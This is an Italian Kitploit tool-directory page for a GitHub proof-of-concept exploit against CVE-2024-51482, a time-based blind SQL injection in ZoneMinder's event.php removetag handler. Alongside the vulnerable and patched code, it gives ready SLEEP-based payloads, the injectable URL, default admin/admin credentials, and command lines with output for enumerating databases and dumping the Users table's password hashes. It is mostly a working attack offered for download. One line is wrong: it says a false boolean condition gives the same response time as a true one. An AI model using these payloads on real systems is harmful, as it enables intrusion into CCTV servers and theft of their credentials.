Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51482 — ZenoMinder Blind SQL Injection PoC | Kitploit
Strumenti/GitHubGitHub/bridgeralderson/cve-2024-51482
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder Blind SQL Injection PoC

Vedi Repository
8606 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-51482 - ZoneMinder Blind SQL Injection

Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Guida allo sfruttamento
  • Installazione
  • Esempi di utilizzo
  • Mitigazione
  • Riferimenti

Panoramica

CVE-2024-51482 è una vulnerabilità critica di SQL Injection basata su booleani scoperta in ZoneMinder, un popolare software di sorveglianza CCTV open-source. Questa falla interessa le versioni 1.37.* fino alla 1.37.64 e consente a un attaccante autenticato con privilegi bassi di eseguire comandi SQL arbitrari sul database sottostante.

MetricaValore
CVE IDCVE-2024-51482
Punteggio CVSS9.9 (Critico)
Vettore di attaccoRete
Privilegi richiestiBasso
Interazione utenteNessuna
AmbitoModificato
ImpattoRiservatezza, Integrità, Disponibilità - ALTO
Versione corretta1.37.65

Dettagli della vulnerabilità

Versioni affette

  • Vulnerabile: ZoneMinder v1.37.0 fino alla v1.37.64.
  • Corretta: ZoneMinder v1.37.65 e successive.

Causa principale

La vulnerabilità risiede nel file web/ajax/event.php all'interno della funzione removetag. Il parametro tid (ID Tag) viene concatenato direttamente in una query SQL senza una corretta sanificazione o parametrizzazione.

Codice vulnerabile:

case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABILE! 
    $rowCount = dbNumRows($sql); 
    // ...

Codice corretto:

$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Query parametrizzata

Vettore di attacco

L'endpoint vulnerabile può essere attivato tramite:

http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DI_INIEZIONE]

Analisi tecnica

Perché Blind Injection basata su booleani?

Il punto di iniezione non restituisce direttamente i risultati della query nella risposta, rendendo impossibili gli attacchi tradizionali basati su UNION. Invece, dobbiamo dedurre le informazioni attraverso condizioni booleane o ritardi temporali.

  • Approccio basato su booleani:
    • Condizione vera → Tempo di risposta normale.
    • Condizione falsa → Tempo di risposta normale.
    • Richiede differenze osservabili nel comportamento dell'applicazione.
  • Approccio basato sul tempo (più affidabile):
    • Condizione vera → Risposta ritardata (SLEEP).
    • Condizione falsa → Tempo di risposta normale.

Meccanismo di sfruttamento

Il nostro exploit utilizza l'estrazione basata sul tempo con la funzione SLEEP():

1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Quando questa condizione è vera, il database dorme per 2 secondi, creando un ritardo misurabile nella risposta HTTP.

Processo di estrazione dei caratteri

  • Ricerca binaria: Per ogni posizione del carattere, testiamo gli intervalli usando ASCII(SUBSTRING()) > MID.
  • Misurazione del tempo: Se la condizione è vera, SLEEP si attiva.
  • Ricostruzione del carattere: Costruiamo la stringa carattere per carattere.

Esempio di payload per estrarre il carattere alla posizione 1:

1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guida allo sfruttamento

Prerequisiti

  • Target che esegue ZoneMinder 1.37.0 - 1.37.64.
  • Credenziali valide (default: admin/admin).
  • Accesso di rete all'interfaccia web di ZoneMinder.

Installazione

# Clona il repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Rendi lo script eseguibile
chmod +x CVE-2024-51482.py

# Installa le dipendenze richieste
pip3 install requests

Utilizzo di base

# Verifica se il target è vulnerabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --test

# Scopri tutti i database
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover

# Elenca le tabelle in un database specifico
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --tables zm

# Elenca le colonne in una tabella specifica
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --columns zm Users

# Estrai dati da colonne specifiche
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Users "Username,Password"

# Estrai la tabella utenti (default)
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users

# Abilita output debug per un processo di estrazione dettagliato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --debug

# Regola il tempo di sleep per un'estrazione più affidabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --sleep 3

# Disabilita output colorato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --no-color

Esempi di utilizzo

Esempio 1: Test della vulnerabilità

$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: 192.168.1.100
[*] Accesso come 'admin' su 192.168.1.100...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.058s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!

Esempio 2: Enumerazione dei database

$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.065s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Enumerazione dei database...
[+] Trovato database: information_schema
[+] Trovato database: performance_schema
[+] Trovato database: zm
[+] Database trovati: 
1. information_schema 
2. performance_schema 
3. zm

Esempio 3: Estrazione delle credenziali utente

$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.062s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Estrazione della tabella Users dal database zm...
[*] Enumerazione delle colonne in 'zm.Users'...
[+] Trovata colonna: Id
[+] Trovata colonna: Username
[+] Trovata colonna: Password
[+] Trovata colonna: Language
[+] Trovata colonna: Enabled
[*] Estrazione dei dati da 'zm.Users'...
[+] Riga 1: {'Username': 'admin', 'Password': '$2y$10$...hash...'}
[+] Riga 2: {'Username': 'operator', 'Password': '$2y$10$...hash...'}
[+] Utenti estratti: 2 
Utente: admin 
Pass: $2y$10$...hash... 
Email: admin@localhost 
Abilitato: 1 
Utente: operator 
Pass: $2y$10$...hash... 
Email: operator@localhost 
Abilitato: 1

Esempio 4: Estrazione dati personalizzata

# Estrai colonne specifiche dalla tabella Events
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Come funziona l'exploit

Scarica lo strumento